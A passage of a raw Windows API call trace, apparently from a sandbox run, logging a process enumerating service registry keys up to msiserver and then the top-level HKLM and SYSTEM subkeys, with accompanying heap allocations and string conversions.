RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.796] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0212.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0212.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.796] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0212.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0212.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.797] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0212.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0212.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0212.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.797] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0212.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0212.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0212.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.797] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0212.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0212.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0212.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0212.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0212.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0212.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0212.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0212.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0212.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0212.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0212.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0212.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0212.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0212.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0212.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0212.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0212.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0212.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0212.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0212.807] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0212.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0212.807] RegCloseKey (hKey=0x148) returned 0x0 [0212.807] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0212.807] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0212.807] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0212.808] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0212.808] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0212.808] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0212.808] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0212.808] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0212.808] RegCloseKey (hKey=0x80000002) returned 0x0 [0212.808] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0212.808] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0212.808] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0212.808] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0212.808] RegEnumKeyW (in: 